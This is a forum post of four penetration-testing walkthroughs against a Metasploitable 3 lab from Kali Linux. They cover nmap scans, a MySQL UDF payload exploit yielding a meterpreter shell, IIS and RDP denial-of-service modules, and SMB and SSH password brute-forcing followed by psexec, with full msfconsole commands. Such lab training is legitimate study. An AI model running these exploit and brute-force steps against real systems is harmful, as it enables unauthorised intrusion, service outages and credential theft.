Login

**NINZA** · 04-25-2020, 04:58 AM

0			0

Target: Metasploitable 3
Attacker: Kali Linux
Scan the target IP to know the Open ports for running services. Use nmap command for scanning the target PC. NMAP shown all available open ports and their services today this article will cover MYSQL attack for which it requires open port.
Type the following command on terminal in kali Linux.
nmap –p- -sV 192.168.0.103
And from nmap result we can see port 3306 is open for mysql.
[Image: 1.png?w=687&ssl=1]

Let’s penetrate more inside it, use nessus for vulnerability analysis. Through nessus scanning result it shows that MYSQL account is not password protected .when you suffer more you will find that directory gets open without password. In image the output result making conclusion that root account does not have password moreover it dumps the list of database on remote server. It also gave the hint that an attack can lunch attack on database.
[Image: 2.png?w=687&ssl=1]

Start metasploit framework by typing msfconsole on terminal in kali Linux when metasploit get loaded type given below command for mysql attack.
[Image: 3.png?w=687&ssl=1]

This module creates and enables a custom UDF (user defined function) on the target host via the SELECT … into DUMPFILE method of binary injection. On default Microsoft Windows installations of MySQL (=<5.5.9), directory write permissions not enforced, and the MySQL service runs as LocalSystem. NOTE: This module will leave a payload executable on the target system when the attack is finished, as well as the UDF DLL, and will define or redefine sys_eval() and sys_exec() functions.
msf > use exploit/windows/mysql/mysql_payload
msf exploit(mysql_payload) > set rhost 192.168.0.103
msf exploit(mysql_payload) > set rport 3306
msf exploit(mysql_payload) > exploit
Wonderful!!! Our meterpreter session is opened and you have got victim shell.
meterpreter> sysinfo
[Image: 4.png?w=687&ssl=1]

Target: Metasploitable 3
Attacker: Kali Linux
Scan the target IP to know the Open ports for running services. Use nmap command for scanning the victim PC. Type the following command on terminal in kali Linux to use aggressive scan.
nmap -p- -A 192.168.1.14
[Image: 0.png?w=687&ssl=1]

From the result of scan we found that port 3389 is open for remote desktop service and under open port 80 http server header is configured with Microsoft IIS 7.5
As we know port 3389 is badly affected with Dos attack moreover Microsoft IIS 7.5 has Classic ASP configured (it allows serving .asp files).There is a password protected directory configured that has administrative asp scripts inside. An attacker requests the directory with: $i30:$INDEX_ALLOCATION appended to the directory name IIS/7.5 gracefully executes the ASP script without asking for proper credentials.

[To see content please register here]

Use Nessus tool to scan the vulnerabilities of target Pc. Form vulnerabilities scanning result it shows two high vulnerabilities for exploit.
[Image: 1.png?w=687&ssl=1]

Start metasploit framework by typing msfconsole on terminal in kali Linux when metasploit get loaded type following command for Dos attack.
This module will check if scanned hosts are vulnerable to CVE-2015-1635 (MS15-034), vulnerability in the HTTP protocol stack (HTTP.sys) that could result in arbitrary code execution. This module will try to cause a denial-of-service.
msf > use auxiliary/dos/http/ms15_034_ulonglongadd
msf auxiliary(ms15_034_ulonglongadd) >set rhosts 192.168.1.14
msf auxiliary(ms15_034_ulonglongadd) >exploit
[Image: 3.png?w=687&ssl=1]

In same way we’ll create Dos attack through RDP connection for port 3389 using another module.
This module exploits the MS12-020 RDP vulnerability originally discovered and reported by Luigi Auriemma. The flaw can be found in the way the T.125 Connect MCSPDU packet is handled in the maxChannelIDs field, which will result an invalid pointer being used, therefore causing a denial-of-service condition.
msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf auxiliary(ms12_020_maxchannelids) >set rhost 192.168.1.14
msf auxiliary(ms12_020_maxchannelids) >set rport 3389
msf auxiliary(ms12_020_maxchannelids) >exploit
[Image: 5.png?w=687&ssl=1]

Target: Metasploitable 3
Attacker: Kali Linux
Scan the target IP to know the Open ports for running services. I am using nmap command for scanning the target PC. NMAP shown all available open ports and their services today this article will cover SMB login attack for which it requires open SMB port.
Type the following command on terminal in kali Linux.
nmap –p- -A 192.168.1.11
[Image: 0.png?w=687&ssl=1]

In previous article it’s about SSH Login attack read from

[To see content please register here]

.
Luckily!!! In Metasploit3 port 445 is open for SMB service mainly used for providing shared access to files, printers, and serial ports and miscellaneous communications between server and client on a network.
Now it is necessary to create a dictionary file to exploit it. To make a dictionary file type the following command:
cewl

[To see content please register here]

-m 7 -d 0 –w /root/Desktop/pass.txt
CeWL is a customized wordlist generator that sticks to just the site you have specified and will go to a depth of 2 links and returns a list of words which can then be used for password crackers such as John the Ripper.
[Image: 1.png?w=687&ssl=1]

Start metasploit framework by typing msfconsole on terminal in kali Linux.
This module will test SMB logins on a range of machines and report successful logins. If you have loaded a database plug-in and connected to a database this module will record successful logins and hosts so you can track your access.
Type following command under msfconsole
use auxiliary/scanner/smb/smb_login
msf auxiliary (smb_login)>set rhosts 192.168.1.11
msf auxiliary (smb_login)>set rport 445
msf auxiliary (smb_login)>set smbuser vagrant
msf auxiliary (smb_login)>set pass_file /root/Desktop/pass.txt
msf auxiliary (smb_login)>set stop_on_success true
msf auxiliary (smb_login)> exploit
This exploit will start brute force attack to match the valid authentication and give green sign when founds the correct credential for SMB login.
Our attack is successful and we have got valid login vagrant: vagrant as username and password.
[Image: 3.png?w=687&ssl=1]

This module uses a valid administrator username and password (or password hash) to execute an arbitrary payload. This module is similar to the “psexec” utility provided by SysInternals. This module is now able to clean up after itself. The service created by this tool uses a randomly chosen name and description.
Hence using above credential this exploit will try to provide the meterperter shell.
Type following command to use this module for attack.
msf> use exploit/windows/smb/psexec
msf exploit (psexec)>set rhosts 192.168.1.11
msf exploit (psexec)>set rport 445
msf exploit (psexec)>set smbuser vagrant
msf exploit (psexec)>set smbpass vargrant
msf exploit (psexec)> exploit
Wonderful!!! Our meterpreter session 1 is opened and you have got victim shell.
meterpreter> sysinfo
[Image: 4.png?w=687&ssl=1]

Target: Metasploitable 3
Attacker: Kali Linux
Scan the target IP to know the Open ports for running services. I am using nmap command for scanning the target PC. Type the following command on terminal in kali Linux.
nmap –p- -sV 192.168.1.8
[Image: 1.png?w=687&ssl=1]

In previous article it’s about FTP Login attack read from

[To see content please register here]

.
So here you can see all available open ports and their services today this article will cover SSH login attack for which we required open SSH port luckily in Metasploit3 open 22 is open for SSH service So let’s exploit it for this we need a dictionary file. To make a dictionary file type the following command:
cewl

[To see content please register here]

-m 7 -d 0 –w /root/Desktop/dict.txt
CeWL is a command used to make a customized wordlist using a given URL. Using the above command will make a dictionary file from the Wikipedia of metasploitable3 and might help us to find our password.
[Image: 2.png?w=687&ssl=1]

Collect the wordlist from CeWL,
Start Metasploit framework by typing msfconsole on the terminal.
[Image: 3.1.png?w=687&ssl=1]

This module will test ssh logins on a range of machines and report successful logins If you have loaded a database plug-in and connected to a database this module will record successful logins and hosts so you can track your access.
use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login)>set rhosts 192.168.1.8
msf auxiliary (ssh_login)>set port 22
msf auxiliary (ssh_login)>set username vagrant
msf auxiliary(ssh_login)>set pass_file /root/Desktop/pass.txt
msf auxiliary(ssh_login)>set stop_on_success true
msf auxiliary (ssh_login)> exploit
[Image: 3.png?w=687&ssl=1]

This’ll dump the credential as the username: vagrant and password: vagrant successful login for SSH connection moreover provides the session for victim’s shell.
[Image: 4.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis